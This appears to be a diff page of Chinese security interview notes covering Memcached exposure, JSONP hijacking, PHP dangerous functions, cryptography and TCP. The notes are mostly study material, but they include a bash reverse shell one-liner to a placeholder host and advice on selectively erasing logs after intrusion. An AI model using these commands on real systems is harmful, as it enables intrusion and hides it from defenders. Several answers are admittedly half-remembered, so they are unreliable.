## <span id="head76"> Memcache未授权访问</span>
|
||||
|
||||
Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,所以对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者通过命令交互可直接读取Memcached中的敏感信息。
|
||||
|
||||
### 利用
|
||||
### <span id="head77"> 利用</span>
|
||||
|
||||
1、登录机器执行netstat -an |more命令查看端口监听情况。回显0.0.0.0:11211表示在所有网卡进行监听,存在memcached未授权访问漏洞。
|
||||
|
||||
2、telnet 11211,或nc -vv 11211,提示连接成功表示漏洞存在
|
||||
|
||||
### 漏洞加固
|
||||
### <span id="head78"> 漏洞加固</span>
|
||||
|
||||
- 1、设置memchached只允许本地访问
|
||||
- 2、禁止外网访问Memcached 11211端口
|
||||
- 3、编译时加上–enable-sasl,启用SASL认证
|
||||
|
||||
## FFMPEG 本地文件读取漏洞
|
||||
## <span id="head79">FFMPEG 本地文件读取漏洞</span>
|
||||
|
||||
### 原理
|
||||
### <span id="head80"> 原理</span>
|
||||
|
||||
通过调用加密API将payload加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了SSRF老洞,m3u8头,偏移量,加密。
|
||||
|
||||
# 安全知识
|
||||
# <span id="head81"> 安全知识</span>
|
||||
|
||||
## WEB
|
||||
## <span id="head82"> WEB</span>
|
||||
|
||||
### 常用WEB开发JAVA框架
|
||||
### <span id="head83"> 常用WEB开发JAVA框架</span>
|
||||
|
||||
STRUTS,SPRING
|
||||
常见的java框架漏洞
|
||||
@ -1056,18 +1181,18 @@ STRUTS,SPRING
|
||||
048 封装action的过程中有一步调用getstackvalue递归获取ognl表达式
|
||||
反序列化 操作对象,通过手段引入。apache common的反射机制、readobject的重写,其实具体的我也记不清楚。。。然后这部分就结束了
|
||||
|
||||
### 同源策略
|
||||
### <span id="head84"> 同源策略</span>
|
||||
|
||||
同源策略限制不同源对当前document的属性内容进行读取或设置。
|
||||
不同源的区分:协议、域名、子域名、IP、端口,以上有不同时即不同源。
|
||||
|
||||
### Jsonp安全攻防技术,怎么写Jsonp的攻击页面?
|
||||
### <span id="head85"> Jsonp安全攻防技术,怎么写Jsonp的攻击页面?</span>
|
||||
|
||||
#### 涉及到Jsonp的安全攻防内容
|
||||
#### <span id="head86"> 涉及到Jsonp的安全攻防内容</span>
|
||||
|
||||
JSON劫持、Callback可定义、JSONP内容可定义、Content-type不为json。
|
||||
|
||||
#### 攻击页面
|
||||
#### <span id="head87"> 攻击页面</span>
|
||||
|
||||
JSON劫持,跨域劫持敏感信息,页面类似于
|
||||
|
||||
@ -1082,19 +1207,19 @@ function wooyun(v){
|
||||
Content-type不正确情况下,JSONP和Callback内容可定义可造成XSS。
|
||||
JSONP和FLASH及其他的利用参照知道创宇的JSONP安全攻防技术。
|
||||
|
||||
## PHP
|
||||
## <span id="head88"> PHP</span>
|
||||
|
||||
### php中命令执行涉及到的函数
|
||||
### <span id="head89"> php中命令执行涉及到的函数</span>
|
||||
|
||||
1,代码执行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()
|
||||
2,文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
|
||||
3,命令执行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
|
||||
|
||||
### 安全模式下绕过php的disable fuction
|
||||
### <span id="head90">安全模式下绕过php的disable fuction</span>
|
||||
|
||||
DL函数,组件漏洞,环境变量。
|
||||
|
||||
### PHP弱类型
|
||||
### <span id="head91"> PHP弱类型</span>
|
||||
|
||||
`==` 在进行比较的时候,会先将字符串类型转化成相同,再比较
|
||||
|
||||
@ -1102,20 +1227,20 @@ DL函数,组件漏洞,环境变量。
|
||||
|
||||
`0e`开头的字符串等于0
|
||||
|
||||
## 数据库
|
||||
## <span id="head92"> 数据库</span>
|
||||
|
||||
### 各种数据库文件存放的位置
|
||||
### <span id="head93"> 各种数据库文件存放的位置</span>
|
||||
|
||||
mysql:`/usr/local/mysql/data/` `C:\ProgramData\MySQL\MySQL Server 5.6\Data\`
|
||||
oracle:`$ORACLE_BASE/oradata/$ORACLE_SID/`
|
||||
|
||||
## 系统
|
||||
## <span id="head94"> 系统</span>
|
||||
|
||||
### 如何清理日志
|
||||
### <span id="head95"> 如何清理日志</span>
|
||||
|
||||
meterpreter: `clearev`
|
||||
|
||||
### 入侵 Linux 服务器后需要清除哪些日志?
|
||||
### <span id="head96">入侵 Linux 服务器后需要清除哪些日志?</span>
|
||||
|
||||
web日志,如apache的access.log,error.log。 直接将日志清除过于明显,一般使用sed进行定向清除
|
||||
|
||||
@ -1127,9 +1252,9 @@ wtmp日志的清除,/var/log/wtmp
|
||||
|
||||
登录日志清除 /var/log/secure
|
||||
|
||||
### LINUX
|
||||
### <span id="head97"> LINUX</span>
|
||||
|
||||
#### 查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点
|
||||
#### <span id="head98">查看当前端口连接的命令有哪些?`netstat` 和 `ss` 命令的区别和优缺点</span>
|
||||
|
||||
```
|
||||
netstat -antp` `ss -l
|
||||
@ -1137,13 +1262,13 @@ netstat -antp` `ss -l
|
||||
|
||||
ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息,而且比netstat更快速更高效。
|
||||
|
||||
#### 反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
|
||||
#### <span id="head99">反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?</span>
|
||||
|
||||
```
|
||||
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
|
||||
```
|
||||
|
||||
#### 通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?
|
||||
#### <span id="head100">通过Linux系统的/proc目录 ,能够获取到哪些信息,这些信息可以在安全上有哪些应用?</span>
|
||||
|
||||
```
|
||||
ls /proc
|
||||
@ -1151,26 +1276,26 @@ ls /proc
|
||||
|
||||
系统信息,硬件信息,内核版本,加载的模块,进程
|
||||
|
||||
#### linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。
|
||||
#### <span id="head101"> linux系统中,检测哪些配置文件的配置项,能够提升SSH的安全性。</span>
|
||||
|
||||
`/etc/ssh/sshd___config`
|
||||
iptables配置
|
||||
|
||||
#### 如何一条命令查看文件内容最后一百行
|
||||
#### <span id="head102"> 如何一条命令查看文件内容最后一百行</span>
|
||||
|
||||
```
|
||||
tail -n 100 filename
|
||||
```
|
||||
|
||||
### Windows
|
||||
### <span id="head103"> Windows</span>
|
||||
|
||||
#### 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。
|
||||
#### <span id="head104"> 如何加固一个域环境下的Windows桌面工作环境?请给出你的思路。</span>
|
||||
|
||||
## 密码学
|
||||
## <span id="head105"> 密码学</span>
|
||||
|
||||
### AES/DES的具体工作步骤
|
||||
### <span id="head106"> AES/DES的具体工作步骤</span>
|
||||
|
||||
### RSA算法
|
||||
### <span id="head107"> RSA算法</span>
|
||||
|
||||
加密:
|
||||
$$
|
||||
@ -1193,35 +1318,35 @@ $$
|
||||
|
||||
n是两个大质数p,q的积
|
||||
|
||||
### 分组密码的加密模式
|
||||
### <span id="head108"> 分组密码的加密模式</span>
|
||||
|
||||
### 如何生成一个安全的随机数?
|
||||
### <span id="head109"> 如何生成一个安全的随机数?</span>
|
||||
|
||||
引用之前一个学长的答案,可以通过一些物理系统生成随机数,如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。
|
||||
|
||||
### SSL握手过程
|
||||
### <span id="head110"> SSL握手过程</span>
|
||||
|
||||
建立TCP连接、客户端发送SSL请求、服务端处理SSL请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥key、之后正常通信。
|
||||
这部分本来是忘了的,但是之前看SSL Pinning的时候好像记了张图在脑子里,挣扎半天还是没敢确定,遂放弃。。。
|
||||
|
||||
### 对称加密与非对称加密的不同,分别用在哪些方面
|
||||
### <span id="head111"> 对称加密与非对称加密的不同,分别用在哪些方面</span>
|
||||
|
||||
## TCP/IP
|
||||
## <span id="head112"> TCP/IP</span>
|
||||
|
||||
### TCP三次握手的过程以及对应的状态转换
|
||||
### <span id="head113"> TCP三次握手的过程以及对应的状态转换</span>
|
||||
|
||||
(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
|
||||
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
|
||||
(1)客户端向服务器端发送一个SYN包,包含客户端使用的端口号和初始序列号x;
|
||||
(2)服务器端收到客户端发送来的SYN包后,向客户端发送一个SYN和ACK都置位的TCP报文,包含确认号xx1和服务器端的初始序列号y;
|
||||
(3)客户端收到服务器端返回的SYNSACK报文后,向服务器端返回一个确认号为yy1、序号为xx1的ACK报文,一个标准的TCP连接完成。
|
||||
|
||||
### TCP和UDP协议区别
|
||||
### <span id="head114"> TCP和UDP协议区别</span>
|
||||
|
||||
tcp面向连接,udp面向报文
|
||||
tcp对系统资源的要求多
|
||||
udp结构简单
|
||||
tcp保证数据完整性和顺序,udp不保证
|
||||
|
||||
### https的建立过程
|
||||
### <span id="head115"> https的建立过程</span>
|
||||
|
||||
- 客户端发送请求到服务器端
|
||||
- 服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
|
||||
@ -1230,9 +1355,9 @@ tcp保证数据完整性和顺序,udp不保证
|
||||
- 客户端使用共享密钥解密数据
|
||||
- SSL加密建立
|
||||
|
||||
## 流量分析
|
||||
## <span id="head116"> 流量分析</span>
|
||||
|
||||
### wireshark简单的过滤规则
|
||||
### <span id="head117"> wireshark简单的过滤规则</span>
|
||||
|
||||
**过滤ip**:
|
||||
|
||||
@ -1250,6 +1375,6 @@ tcp保证数据完整性和顺序,udp不保证
|
||||
|
||||
过滤get/post包`http.request.mothod=="GET/POST"`
|
||||
|
||||
## 防火墙
|
||||
## <span id="head118"> 防火墙</span>
|
||||
|
||||
### 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。
|
||||
### <span id="head119"> 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。</span>
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user